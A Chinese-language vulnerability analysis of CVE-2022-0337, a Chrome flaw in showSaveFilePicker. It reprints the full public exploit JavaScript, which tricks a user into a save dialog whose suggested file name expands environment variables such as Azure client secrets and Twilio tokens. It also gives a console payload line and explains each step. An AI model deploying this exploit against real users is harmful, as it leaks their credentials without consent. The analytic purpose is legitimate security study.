CVE- 2022-0337 Chrome Environment Var-Leaking
0x01 漏洞概述
2022年4月6日,谷歌发布了一个其旗下开源web浏览器Chrome的软件漏洞,该漏洞源于window.showSaveFilePicker函数在传递系统环境变量时将会进行解析,并将这些变量值返回给用户,攻击者可在未授权的情况下,利用该漏洞构造恶意数据执行信息泄露攻击,最终泄露系统环境变量。当时谷歌对该漏洞的EXP/POC征集奖励是1w刀,漏洞提交者兼第一个EXP提交者都是 Maciej Pulikowski(谷歌名人堂)。
0x02 漏洞背景
Ⅰ.环境变量
环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数,如:临时文件夹位置和系统文件夹位置等。
若是把我们使用的操作系统看成一个庞大的程序,环境变量就是其中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息,一定程度上可以理解为全局变量。例如Windows和DOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找。用户通过设置环境变量,来更好的运行进程,比如我们在配置python和Java的环境时,就需要在环境变量中添加/bin目录,从而才能运行.py和.jar的程序。
在 Windows 中,环境变量的格式是像这样的:
%ENV_VAR%
Ⅱ.Window.showSaveFilePicker()
让浏览器操作本地文件是开发者一直在努力并且不停在探索的方向,所以历史上有很多方案,存在很多类似但其实并不一样的 API。
最早登场的是 File API,代表功能是 FileReader,它可以通过一次读取文件中一个字符,一次读取一个字符数组或使用缓冲区这三种方式来读取文件。这个 API 最大的进步在于,我们可以在浏览器里读取和操作二进制文件,然后通过 <a download="file.ext">
这行代码 下载到本地。如此,浏览器作为工具平台的价值大大提高。
接下来,激进的谷歌提出并实现了 File System API。这个 API 试图在浏览器里创建一个独立的文件环境,让开发者可以在里面任意操作文件和目录,如果能做好,那么是一个非常好的突破。可惜步子不仅大、而且偏,最终失败。我认为原因有二:
- 一方面,这个“独立的文件环境”,其实是无法操作系统本地文件的,没有什么应用价值
- 另外,当时浏览器的其它限制没有突破——没有包管理、没有 babel(Js的编译器)、甚至没有 Promise(Js多线程运行的对象),IE 仍然大量存在,开发难度极大。
接下来是 Chrome Extension、Chrome App、Chrome OS 里的 File (System) API,这几个产品都是谷歌私有的。
最后,也就是今天的主角,File System Access API。这套方案应该是未来前端用的主流,它提供了比较稳妥的本地文件交互模式,即保证了实用价值,又保障了用户的数据安全,明显是前辈 File System API 的继任者。
它的设计思路也不复杂:
- 要求用户手动选择文件或者目录,以获取文件或目录的控制权限
- 选择文件或目录后,获取到
FileHandle
,后续的操作经由它来进行 FileHandle
是serializable
对象,所以可以通过序列化和反序列化实现跨 session 的存储(即刷新后还能用)
0x03 漏洞原理分析
翻遍了Chrome的安装目录也没有找到window.showSaveFilePicker()的函数原型,应该是机密文件罢,比较可惜。
我只能把EXP里面的Js代码部分单独提出来分析,h5和css的大约的确没有什么用
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
这一部分是将一些敏感的环境变量提到js里头的一个数组常量里面去了,我之前尝试将TOKEN和PASSWORD提取出来,但是没成功,估计是windows系统并没有给Chrome这么高的权限。
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
/...
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
这些代码是我们在运行EXP时的操作,这个作者设计的是长按Enter两秒,就可以触发window.showSaveFilePicker()方法
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
先生成一个1-991的随机数,然后我们得到的filename格式就是 随机数.f
const suggestedName = environmentVariables.map((x) => `%${x}%`).join("@") + filename;
使用% %来引用环境变量,而命名文件名称时利用环境变量了的话,在调用文件的话会返回环境变量的值。
suggestedName是弹出保存文件窗口时的默认路径,这里用的map()方法是把那个存有敏感环境变量的数组元素作为变量x标记,最后与 ‘@’ 和 filename 连接,即 suggestedName=%{x}%@随机数.f
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印操作。
所以最终在执行payload的时候保存的文件名为
%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f随机数.f
0x04 漏洞复现
我们先简单测试一下这个函数
打开一个页面,以百度为例
在控制台里面输入payload:
let a = await window.showSaveFilePicker({suggestedName:'%username%'});
a.name;
可以看到,保存的文件名就是环境变量%username%
保存之后输出了这个username的值
输出成功,接着我们用EXP输出更多环境变量试试:
输出成功的有username,userdomain(用户域名),sessionname(会话名)和computername以及guessWinpath(系统位置)的值